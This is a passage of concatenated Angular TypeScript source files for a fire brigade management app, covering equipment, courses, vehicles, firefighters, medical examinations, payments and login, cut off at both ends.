this.usedEquipmentItems.push(equipmentItem); } else { this.usedEquipmentItems.splice(elIdx, 1); } } trackByFn(_, index: number): number { return index; } private loadMinimaEquipmentItems() { this.equipmentService.findMinimal().subscribe((equipmentItems: Array<Minimal>) => { this.equipmentItems = equipmentItems; this.createModelForCheckboxes(); }); } private createModelForCheckboxes() { for (let i = 0; i < _.size(this.equipmentItems); i++) { this.checkboxesModel.push(false); } this.usedEquipmentItems = _.cloneDeep(this.selectedEquipment); if (_.size(this.selectedEquipment)) { for (let i = 0; i < _.size(this.selectedEquipment); i++) { const idx = _.findIndex(this.equipmentItems, { id: this.selectedEquipment[i].id }); this.checkboxesModel[idx] = true; } } } } <file_sep>import { MatButtonModule, MatInputModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { DatePickerModule } from '@app/components/date-picker'; import { EquipmentComponent } from './equipment.component'; import { EquipmentDeleteComponent } from './equipment-delete/equipment-delete.component'; import { EquipmentModalComponent } from './equipment-modal/equipment-modal.component'; import { EquipmentRoutingModule } from './equipment.routing'; import { EquipmentService } from './equipment.service'; import { ModalModule } from '@app/components/modal'; import { PaginationModule } from '@app/components/pagination'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; @NgModule({ imports: [ SharedModule, MatButtonModule, ModalModule, MatInputModule, DatePickerModule, TableModule, PaginationModule, EquipmentRoutingModule ], declarations: [EquipmentComponent, EquipmentModalComponent, EquipmentDeleteComponent], entryComponents: [EquipmentModalComponent, EquipmentDeleteComponent], providers: [EquipmentService], schemas: [NO_ERRORS_SCHEMA] }) export class EquipmentModule { } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { CourseKind } from '@app/shared/enums'; import { CoursesService } from './../courses.service'; import { EnumService } from '@app/core/enum'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; import { SelectDictionary } from '@app/shared/model'; @Component({ selector: 'app-add-course', templateUrl: './add-course.component.html', styleUrls: ['./add-course.component.scss'] }) export class AddCourseComponent implements OnInit { courseKind: SelectDictionary[]; courseForm: FormGroup; constructor( @Inject(MAT_DIALOG_DATA) public data: { id: number, courses: string[] }, private coursesService: CoursesService, private toastr: AppToastrService, private enumService: EnumService, private fb: FormBuilder, private modal: ModalService ) { } ngOnInit() { this.courseForm = this.createCourseForm(); this.courseKind = this.enumService.create(_.omit(CourseKind, this.data.courses), 'courses.kind'); } save() { const course = _.assign(this.courseForm.value, { FirefighterId: this.data.id }); this.coursesService.save(course).subscribe(() => { this.toastr.success('courses.message.success'); this.modal.close(); }, () => { this.toastr.error('courses.message.error'); }); } private createCourseForm(): FormGroup { return this.fb.group({ courseType: [null, [Validators.required]], courseCompletitionDate: [null, [Validators.required]], courseValidityEnd: [null] }); } } <file_sep>export enum IconType { EDIT, REMOVE, GENDER, MEDICAL_NOTES, CUSTOM } <file_sep>export * from './equipment.module'; export * from './equipment.component'; <file_sep>import * as _ from 'lodash'; import { Column } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class CoursesUserTable { constructor(private table: TableService) { // iconRegistry: MatIconRegistry, sanitizer: DomSanitizer) { // iconRegistry.addSvgIcon( // 'check', // sanitizer.bypassSecurityTrustResourceUrl( // '../../../assets/icons/check-solid.svg' // ) // ); // iconRegistry.addSvgIcon( // 'plus', // sanitizer.bypassSecurityTrustResourceUrl( // '../../../assets/icons/plus-circle-solid.svg' // ) // ); } getConfig(): Array<Column> { this.table .addColumn('index') .addTranslation('courses.ordinalNumber') .save(); this.table .addColumn('courseType') .setColumnType(ColumnType.TRANSLATE_TEXT) .setTranslationPrefix('courses.kind') .addTranslation('courses.kind.name') .save(); this.table .addColumn('courseCompletitionDate') .setColumnType(ColumnType.DATE) .addTranslation('courses.courseCompleting') .save(); this.table .addColumn('courseValidityEnd') .setColumnType(ColumnType.DATE) .addTranslation('courses.applicationDate') .save(); return this.table.getConfig(); } } <file_sep>import * as _ from 'lodash'; import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { DomSanitizer } from '@angular/platform-browser'; import { Injectable } from '@angular/core'; import { MatIconRegistry } from '@angular/material'; import { ModalService } from '@app/components/modal'; import { PaymentsModalComponent } from './payments-modal/payments-modal.component'; import { TableService } from '@app/components/table'; @Injectable() export class PaymentsTable { constructor(private table: TableService, private modal: ModalService, iconRegistry: MatIconRegistry, sanitizer: DomSanitizer) { iconRegistry.addSvgIcon( 'usd', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/hand-holding-usd-solid.svg' ) ); } getConfig(loadFn?: Function): Column[] { this.table .addColumn('payments') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'usd') .addIconClass('edit-icon') .addTooltip('medicalExamination.medicalExaminationModalLabel') .addActionForColumn((element) => { this.modal.open(PaymentsModalComponent, { id: _.get(element, 'fId'), name: _.get(element, 'name') }).beforeClose().subscribe(() => loadFn()); }) .save(); this.table .addColumn('name', '250px') .addTranslation('payments.name') .save(); this.table .addColumn('paidYear', '140px') .addTranslation('payments.lastPayments') .save(); return this.table.getConfig(); } } <file_sep>import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { Column } from '@app/components/table/models'; import { MAT_DIALOG_DATA } from '@angular/material'; import { MedicalExamination } from '@app/shared/model'; import { MedicalExaminationModalTable } from './medical-examination-modal.table'; import { MedicalExaminationService } from './../medical-examination.service'; @Component({ selector: 'app-medical-examination-modal', templateUrl: './medical-examination-modal.component.html', styleUrls: ['./medical-examination-modal.component.scss'], providers: [MedicalExaminationModalTable] }) export class MedicalExaminationModalComponent implements OnInit { medicalExaminationForm: FormGroup; tableConfiguration: Column[]; tableData: MedicalExamination[]; constructor( private fb: FormBuilder, private tableConfig: MedicalExaminationModalTable, private medicalExaminationService: MedicalExaminationService, private toastr: AppToastrService, @Inject(MAT_DIALOG_DATA) private firefighter: { id: number, name: string } ) { } ngOnInit() { this.getAllFirefighterMedicalExamination(); this.medicalExaminationForm = this.createMedicalExaminationForm(); this.tableConfiguration = this.tableConfig.getConfig(); } save() { const medicalExaminationDate = this.medicalExaminationForm.value.medicalExaminationDate; const endMedicalExaminationDate = new Date( medicalExaminationDate.getFullYear() + 3, medicalExaminationDate.getMonth(), medicalExaminationDate.getDate() ); this.medicalExaminationService.createForFirefighter({ medicalExaminationDate: medicalExaminationDate, endMedicalExaminationDate: endMedicalExaminationDate, FirefighterId: this.firefighter.id }).subscribe((medicalExamination: MedicalExamination) => { this.getAllFirefighterMedicalExamination(); this.medicalExaminationForm.reset(); this.toastr.success('medicalExamination.msg.create.success', { name: this.firefighter.name }); }, () => this.toastr.error('medicalExamination.msg.create.error')); } private getAllFirefighterMedicalExamination() { this.medicalExaminationService.findByFirefighterId(this.firefighter.id).subscribe((data: MedicalExamination[]) => { this.tableData = data; }); } private createMedicalExaminationForm(): FormGroup { return this.fb.group({ medicalExaminationDate: ['', [Validators.required]] }); } } <file_sep>import { Column } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class MedicalExaminationModalTable { constructor(private table: TableService) {} getConfig(): Array<Column> { this.table.clearColumns(); this.table .addColumn('index') .addTranslation('medicalExamination.ordinalNumber') .save(); this.table .addColumn('medicalExaminationDate') .setColumnType(ColumnType.DATE) .addTranslation('medicalExamination.medicalExaminationDate') .save(); this.table .addColumn('endMedicalExaminationDate') .setColumnType(ColumnType.DATE) .addTranslation('medicalExamination.endMedicalExaminationDate') .save(); return this.table.getConfig(); } } <file_sep>export class MenuPosition { position: string; translation: string; link: string; icon: string; permision: string | string[]; isVisible?: boolean; constructor() { this.isVisible = true; } } <file_sep>export enum SpecialCarsPurpose { LADDER = 'LADDER', HYDRAULIC_JACK = 'HYDRAULIC_JACK', ROAD_RESCUE = 'ROAD_RESCUE', TECHNICAL_RESCUE = 'TECHNICAL_RESCUE', CHEMICAL_RESCUE = 'CHEMICAL_RESCUE', ENVIRONMENTAL_RESCUE = 'ENVIRONMENTAL_RESCUE', WATER_RESCUE = 'WATER_RESCUE', LIFESAVING = 'LIFESAVING', CRANE = 'CRANE', OPERATING = 'OPERATING', COMMAND_AND_COMMUNICATION = 'COMMAND_AND_COMMUNICATION', SERPENTINE = 'SERPENTINE', MEDICAL = 'MEDICAL', AN_ANTI = 'AN_ANTI', QUARTERMASTER = 'QUARTERMASTER' } <file_sep>import { Component, Inject } from '@angular/core'; import { AppToastrService } from '@app/core/toastr'; import { CarsService } from './../cars.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-cars-delete', templateUrl: './cars-delete.component.html', styleUrls: ['./cars-delete.component.scss'] }) export class CarsDeleteComponent { constructor( @Inject(MAT_DIALOG_DATA) public data: { id: number; name: string }, private carsService: CarsService, private toastr: AppToastrService, private modal: ModalService ) {} removeCar(): void { this.carsService.remove(this.data.id).subscribe( () => { this.toastr.success('cars.message.delete.success', { name: this.data.name }); this.modal.close(); }, () => this.toastr.error('cars.message.delete.error') ); } } <file_sep>import * as _ from 'lodash'; import { Injectable } from '@angular/core'; import { SelectDictionary } from '@app/shared/model'; @Injectable() export class EnumService { constructor() {} create(values: Object, translatedKey: string): Array<SelectDictionary> { const valuesKey = _.keys(values); return _.map(valuesKey, (value: string) => { return { value: value, nlsCode: `${translatedKey}.${value}` }; }); } } <file_sep>import * as _ from 'lodash'; import { FormGroup } from '@angular/forms'; export function validateFieldRequired(firstField: string, secondField: string) { return (group: FormGroup) => { const firefighterType = group.controls.type.value; const firstFieldValue = group.controls[firstField].value; const secondFieldValue = group.controls[secondField].value; if (firefighterType === 'JOT' && (_.isNull(firstFieldValue) || _.isNull(secondFieldValue))) { return { isRequired: true }; } return null; }; } <file_sep>import { MatButtonModule, MatSelectModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { AddCourseComponent } from './add-course/add-course.component'; import { CoursesComponent } from './courses.component'; import { CoursesRoutingModule } from './courses.routing'; import { CoursesService } from './courses.service'; import { DatePickerModule } from '@app/components/date-picker'; import { ModalModule } from './../../components/modal/modal.module'; import { PaginationModule } from '@app/components/pagination'; import { RefreshAndHistoryCourseComponent } from './refresh-and-history-course/refresh-and-history-course.component'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; @NgModule({ imports: [ SharedModule, TableModule, PaginationModule, ModalModule, MatButtonModule, MatSelectModule, DatePickerModule, CoursesRoutingModule ], entryComponents: [AddCourseComponent, RefreshAndHistoryCourseComponent], declarations: [CoursesComponent, AddCourseComponent, RefreshAndHistoryCourseComponent], providers: [CoursesService], schemas: [NO_ERRORS_SCHEMA] }) export class CoursesModule { } <file_sep>import { Component, OnInit } from '@angular/core'; import { Firefighter, PaginationConfig } from '@app/shared/model'; import { Column } from '@app/components/table/models'; import { FirefightersDeleteComponent } from './firefighters-delete/firefighters-delete.component'; import { FirefightersModalComponent } from './firefighters-modal/firefighters-modal.component'; import { FirefightersService } from './firefighters.service'; import { FirefightersTable } from './firefighters.table'; import { ModalService } from '@app/components/modal'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-firefighters', templateUrl: './firefighters.component.html', styleUrls: ['./firefighters.component.scss'], providers: [FirefightersTable, TableService] }) export class FirefightersComponent implements OnInit { tableData: Array<Firefighter>; tableConfig: Array<Column>; paginationConfig: PaginationConfig = new PaginationConfig(); constructor( private firefightersTable: FirefightersTable, private modal: ModalService, private firefightersService: FirefightersService ) { this.tableConfig = this.firefightersTable.getConfig(); } ngOnInit() { this.loadFirefighters(); } changePage(evt): void { this.loadFirefighters({ page: evt.pageIndex + 1 }); } openAddDialog(): void { this.modal .open(FirefightersModalComponent) .beforeClose() .subscribe(() => this.loadFirefighters()); } openEditDialog(firefighter: Firefighter): void { this.modal .open(FirefightersModalComponent, { id: firefighter.id }) .beforeClose() .subscribe(() => this.loadFirefighters()); } openDeleteDialog(firefighter: Firefighter): void { this.modal .open(FirefightersDeleteComponent, { id: firefighter.id, name: `${firefighter.name} ${firefighter.surname}` }) .beforeClose() .subscribe(() => this.loadFirefighters()); } private loadFirefighters(params: Object = { page: 1 }): void { this.firefightersService.findAll(params).subscribe((data: any) => { this.paginationConfig.length = +data.body.totalCount; this.tableData = data.body.data; }); } } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { CarsService } from '@app/main/cars'; import { MAT_DIALOG_DATA } from '@angular/material'; import { Minimal } from '@app/shared/model'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-add-multitude-modal', templateUrl: './add-multitude-modal.component.html', styleUrls: ['./add-multitude-modal.component.scss'], providers: [CarsService] }) export class AddMultitudeModalComponent implements OnInit { addMultitudeForm: FormGroup; cars: Array<Minimal>; constructor( private fb: FormBuilder, private carsService: CarsService, private modal: ModalService, @Inject(MAT_DIALOG_DATA) public carData: Object) { } ngOnInit() { this.getMinimalCars(); this.addMultitudeForm = this.createAddMultitudeForm(); } add() { this.modal.close(this.addMultitudeForm.value); } private getMinimalCars(): void { this.carsService.findMinimal().subscribe((cars: Array<Minimal>) => { this.cars = cars; if (!_.isEmpty(this.carData)) { this.setMultitudeForm(); } }); } private setMultitudeForm() { this.addMultitudeForm.setValue({ car: this.carData['car'], departureTime: this.carData['departureTime'], arrivalTime: this.carData['arrivalTime'], completeActivityTime: this.carData['completeActivityTime'], returnTime: this.carData['returnTime'] }); } private createAddMultitudeForm(): FormGroup { return this.fb.group({ car: ['', [Validators.required]], departureTime: ['', [Validators.required]], arrivalTime: ['', [Validators.required]], completeActivityTime: ['', [Validators.required]], returnTime: ['', [Validators.required]] }); } } <file_sep>import * as _ from 'lodash'; import { Car, Minimal } from '@app/shared/model'; import { HttpClient, HttpParams } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class CarsService { private requestUrl = `${environment.SERVER_URL}/api/cars`; constructor(private http: HttpClient) {} findAll(params?: Object): Observable<any> { const p = new HttpParams().set('page', _.get(params, 'page')); return this.http.request('get', this.requestUrl, { params: p, observe: 'response' }); } findById(id: number): Observable<any> { return this.http.get(`${this.requestUrl}/${id}`); } findMinimal(): Observable<Array<Minimal>> { return this.http.get<Array<Minimal>>(`${this.requestUrl}/minimal`); } save(car: Car): Observable<Car> { return this.http.post<Car>(this.requestUrl, car); } update(id: number, car: Car): Observable<any> { return this.http.put(`${this.requestUrl}/${id}`, car); } remove(id: number): Observable<any> { return this.http.delete(`${this.requestUrl}/${id}`); } } <file_sep>export enum FirefighterType { MEMBER = 'MEMBER', JOT = 'JOT', MDP = 'MDP' } <file_sep>import * as _ from 'lodash'; import { ActivatedRouteSnapshot, Resolve } from '@angular/router'; import { Injectable } from '@angular/core'; import { LanguageService } from './language.service'; import { Observable } from 'rxjs'; import { TranslateService } from '@ngx-translate/core'; @Injectable() export class TranslateResolver implements Resolve<boolean> { constructor(private translate: TranslateService, private language: LanguageService) { this.translate.setDefaultLang('pl'); } resolve(route: ActivatedRouteSnapshot): Observable<any> | Promise<any> | any { const i18n = _.get(route, 'data.i18n') || []; return this.language.getTranslations(_.isArray(i18n) ? i18n : [i18n]); } } <file_sep>export enum ExtinguishingEquipment { AUTOPOMPE = 'AUTOPOMPE', MOTOPOMPA = 'MOTOPOMPA', EXTINGUISHING_POWDER = 'EXTINGUISHING_POWDER', SNOW_INSTALLATION = 'SNOW INSTALLATION' } <file_sep>import { Component, EventEmitter, Output } from '@angular/core'; import { ModalService } from './modal.service'; @Component({ selector: 'app-modal', templateUrl: './modal.component.html', styleUrls: ['./modal.component.scss'] }) export class ModalComponent { @Output() submitFn: EventEmitter<any> = new EventEmitter<any>(); constructor(public modal: ModalService) {} save(): void { this.submitFn.emit(); } } <file_sep>import { Component, EventEmitter, Input, OnInit, Output } from '@angular/core'; import { PaginationConfig } from '@app/shared/model'; @Component({ selector: 'app-pagination', templateUrl: './pagination.component.html', styleUrls: ['./pagination.component.scss'] }) export class PaginationComponent implements OnInit { @Input('config') paginationConfig: PaginationConfig; @Output('page') changePage: EventEmitter<any> = new EventEmitter<any>(); constructor() { } ngOnInit() { } changePageFn(evt: Event) { this.changePage.emit(evt); } } <file_sep>import * as _ from 'lodash'; import { Column, IconType } from '@app/components/table/models'; import { ColumnType, CourseIconType } from '@app/shared/enums'; import { AddCourseComponent } from './add-course/add-course.component'; import { DomSanitizer } from '@angular/platform-browser'; import { Injectable } from '@angular/core'; import { MatIconRegistry } from '@angular/material'; import { ModalService } from '@app/components/modal'; import { RefreshAndHistoryCourseComponent } from './refresh-and-history-course/refresh-and-history-course.component'; import { TableService } from '@app/components/table'; @Injectable() export class CoursesTable { refreshData: Function; constructor(private table: TableService, private modal: ModalService, iconRegistry: MatIconRegistry, sanitizer: DomSanitizer) { iconRegistry.addSvgIcon( 'check', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/check-solid.svg' ) ); iconRegistry.addSvgIcon( 'plus', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/plus-circle-solid.svg' ) ); } setRefreshDataFn(fn: Function) { this.refreshData = fn; } getConfig(): Array<Column> { this.table .addColumn('add') .setColumnType(ColumnType.ICON) .addIconClass('edit-icon') .addIcon(IconType.CUSTOM, '75px', 'plus') .addActionForColumn((data) => { this.modal .open(AddCourseComponent, { id: data.id, courses: _.keys(_.omit(data, ['id', 'name'])) }) .beforeClose() .subscribe(() => this.refreshData()); }) .save(); this.table .addColumn('name') .addTranslation('courses.name') .save(); this.table .addColumn('BASIC') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.BASIC') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('TECHNICAL_RESCUE') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.TechnicalRescueShortcut') .addHeaderTooltip('courses.kind.TECHNICAL_RESCUE') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('FIRST_AID') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.FirstAidShortcut') .addHeaderTooltip('courses.kind.FIRST_AID') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('WATER_RESCUE') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.WaterRescueScortcut') .addHeaderTooltip('courses.kind.WATER_RESCUE') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('HARDWARE_CONSERVATOR') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.HardwareConservatorShortcut') .addHeaderTooltip('courses.kind.HARDWARE_CONSERVATOR') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('CHEMICAL_AND_ECOLOGICAL_RESCUE') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.ChemicalAndEcologicalRescueShortcut') .addHeaderTooltip('courses.kind.CHEMICAL_AND_ECOLOGICAL_RESCUE') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('ALTITUDE_RESCUE') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.AltitudeRescueShortcut') .addHeaderTooltip('courses.kind.ALTITUDE_RESCUE') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('SERVICE_CAR_WITH_LIFT') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.ServiceCarWithLiftShortcut') .addHeaderTooltip('courses.kind.SERVICE_CAR_WITH_LIFT') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('SERVICE_CAR_WITH_LADY') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.ServiceCarWithLadyShortcut') .addHeaderTooltip('courses.kind.SERVICE_CAR_WITH_LADY') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('SEARCH_AND_RESCUE') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.SearchAndRescueShortcut') .addHeaderTooltip('courses.kind.SEARCH_AND_RESCUE') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('COMMANDERS') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.CommandersShortcut') .addHeaderTooltip('courses.kind.COMMANDERS') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('WARDROBES') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.WardrobesShortcut') .addHeaderTooltip('courses.kind.WARDROBES') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); this.table .addColumn('COMMUNES_COMMANDER') .setColumnType(ColumnType.ICON) .addIcon(IconType.CUSTOM, '80px', 'check') .addIconClass(this.setCoursesIconClass) .addTranslation('courses.kind.CommunmesCommanderShortcut') .addHeaderTooltip('courses.kind.COMMUNES_COMMANDER') .addActionForColumn(this.openRefreshAndHistoryOfCourseModal.bind(this)) .save(); return this.table.getConfig(); } setCoursesIconClass(courseIconType: CourseIconType) { if (courseIconType) { return courseIconType.toLowerCase().split('_').join('-'); } return 'non-course'; } openRefreshAndHistoryOfCourseModal(element: any, name: string) { this.modal.open(RefreshAndHistoryCourseComponent, { id: element.id, course: name }) .beforeClose() .subscribe(() => this.refreshData()); } } <file_sep>import { HTTP_INTERCEPTORS, HttpClient, HttpClientModule } from '@angular/common/http'; import { Injector, NgModule } from '@angular/core'; import { LanguageService, TranslateResolver } from '@app/core/language'; import { LoginService, UserAccessGuard } from '@app/core/auth'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { AppToastrService } from './toastr/app-toastr.service'; import { AuthInterceptor } from './auth/auth-interceptor'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { CommonModule } from '@angular/common'; import { EnumService } from './enum/enum.service'; import { Principal } from './auth/principal.service'; import { RouterModule } from '@angular/router'; import { ServiceLocator } from './locator.service'; import { ToastrModule } from 'ngx-toastr'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; @NgModule({ imports: [ CommonModule, BrowserAnimationsModule, ToastrModule.forRoot(), HttpClientModule, TranslateModule.forRoot({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient] } }), RouterModule.forRoot([], { useHash: false, enableTracing: false }) ], declarations: [], exports: [RouterModule], providers: [ LanguageService, LoginService, TranslateResolver, AppToastrService, EnumService, Principal, UserAccessGuard, { provide: HTTP_INTERCEPTORS, useClass: AuthInterceptor, multi: true } ] }) export class CoreModule { constructor(private injector: Injector) { ServiceLocator.injector = this.injector; } } export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http); } <file_sep>import { Component, OnInit } from '@angular/core'; import { Column } from '@app/components/table/models'; import { CoursesService } from './courses.service'; import { CoursesTable } from './courses.table'; import { CoursesUserTable } from './courses.user.table'; import { Principal } from '@app/core/auth'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-courses', templateUrl: './courses.component.html', styleUrls: ['./courses.component.scss'], providers: [CoursesTable, CoursesUserTable, TableService] }) export class CoursesComponent implements OnInit { tableData: Array<any> = []; tableConfig: Column[]; constructor( private tableConfiguration: CoursesTable, private coursesService: CoursesService, private principal: Principal, private tableUserConfiguration: CoursesUserTable ) { } ngOnInit() { if (this.principal.hasPermision('ADMIN')) { this.loadCoursesForFirefighters(); this.tableConfig = this.tableConfiguration.getConfig(); this.tableConfiguration.setRefreshDataFn(this.loadCoursesForFirefighters.bind(this)); } else { this.tableConfig = this.tableUserConfiguration.getConfig(); this.loadFirefighterCourses(); } } private loadCoursesForFirefighters(params: Object = { page: 1 }): void { this.coursesService.findAll(params).subscribe((data: any) => { this.tableData = data.body.data; }); } private loadFirefighterCourses(): void { this.coursesService.findFirefighterCourses(this.principal.getUserId()).subscribe((data: any) => { this.tableData = data; }); } } <file_sep>import { FormBuilder, FormGroup } from '@angular/forms'; import { Component } from '@angular/core'; import { LoginService } from '@app/core/auth'; @Component({ selector: 'app-login', templateUrl: './login.component.html', styleUrls: ['./login.component.scss'] }) export class LoginComponent { credentials: FormGroup; constructor(private fb: FormBuilder, public login: LoginService) { this.credentials = this.createCredentialsForm(); } private createCredentialsForm() { return this.fb.group({ login: [''], password: [''] }); } } <file_sep>import { Car, PaginationConfig } from '@app/shared/model'; import { Component, OnInit } from '@angular/core'; import { CarsDeleteComponent } from '@app/main/cars/cars-delete/cars-delete.component'; import { CarsModalComponent } from './cars-modal/cars-modal.component'; import { CarsService } from './cars.service'; import { CarsTable } from './cars.table'; import { Column } from '@app/components/table/models'; import { ModalService } from '@app/components/modal'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-cars', templateUrl: './cars.component.html', styleUrls: ['./cars.component.scss'], providers: [CarsTable, TableService] }) export class CarsComponent implements OnInit { tableData: Array<Car>; tableConfig: Array<Column>; paginationConfig: PaginationConfig = new PaginationConfig(); constructor(private modal: ModalService, private carsService: CarsService, private carsTable: CarsTable) { this.tableConfig = this.carsTable.getConfig(); } ngOnInit() { this.loadCars(); } changePage(evt): void { this.loadCars({ page: evt.pageIndex + 1 }); } openAddDialog(): void { this.modal .open(CarsModalComponent) .beforeClose() .subscribe(() => this.loadCars()); } openEditDialog(car: Car): void { this.modal .open(CarsModalComponent, { id: car.id }) .beforeClose() .subscribe(() => this.loadCars()); } openDeleteDialog(car: Car): void { this.modal .open(CarsDeleteComponent, { id: car.id, name: `${car.mark} ${car.model}` }) .beforeClose() .subscribe(() => this.loadCars()); } private loadCars(params: Object = { page: 1 }): void { this.carsService.findAll(params).subscribe((data: any) => { this.paginationConfig.length = +data.body.totalCount; this.tableData = data.body.data; }); } } <file_sep>import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class EquipmentTable { constructor(private table: TableService) {} getConfig(): Array<Column> { this.table .addColumn('edit') .setColumnType(ColumnType.ICON) .addIcon(IconType.EDIT) .save(); this.table .addColumn('id', '51px') .addTranslation('global.id') .save(); this.table .addColumn('name') .addTranslation('equipment.name') .save(); this.table .addColumn('approvalDate', '200px') .setColumnType(ColumnType.DATE) .addTranslation('equipment.approvalDate') .save(); this.table .addColumn('remove') .setColumnType(ColumnType.ICON) .addIcon(IconType.REMOVE) .save(); return this.table.getConfig(); } } <file_sep>export class MedicalExamination { id?: string; medicalExaminationDate: Date; endMedicalExaminationDate: Date; FirefighterId?: number; firefighter?: { id: number, name: string}; } <file_sep>import { HttpEvent, HttpHandler, HttpInterceptor, HttpRequest } from '@angular/common/http'; import { Observable } from 'rxjs'; export class AuthInterceptor implements HttpInterceptor { intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> { if (sessionStorage.getItem('authorization-token')) { const modified = req.clone({ setHeaders: { 'authorization': sessionStorage.getItem('authorization-token') }}); return next.handle(modified); } return next.handle(req); } } <file_sep>export enum TasksCar { FIREFIGHTING = 'FIREFIGHTING', SPECIAL = 'SPECIAL' } <file_sep>import * as _ from 'lodash'; import { HttpClient, HttpParams } from '@angular/common/http'; import { EquipmentItem } from '@app/shared/model'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class EquipmentService { requestUrl = `${environment.SERVER_URL}/api/equipment`; constructor(private http: HttpClient) {} findAll(params?: Object): Observable<any> { const p = new HttpParams().set('page', _.get(params, 'page')); return this.http.request('get', this.requestUrl, { params: p, observe: 'response' }); } findById(id: number): Observable<any> { return this.http.get(`${this.requestUrl}/${id}`); } findMinimal(): Observable<any> { return this.http.get(`${this.requestUrl}/minimal`); } save(equipmentItem: EquipmentItem): Observable<any> { return this.http.post(this.requestUrl, equipmentItem); } update(id: number, equipmentItem: EquipmentItem): Observable<any> { return this.http.put(`${this.requestUrl}/${id}`, equipmentItem); } remove(id: number): Observable<any> { return this.http.delete(`${this.requestUrl}/${id}`); } } <file_sep>import { Component, Input, Output } from '@angular/core'; import { EventEmitter } from '@angular/core'; @Component({ selector: 'app-confirm-modal', templateUrl: './confirm-modal.component.html', styleUrls: ['./confirm-modal.component.scss'] }) export class ConfirmModalComponent { @Input('title') 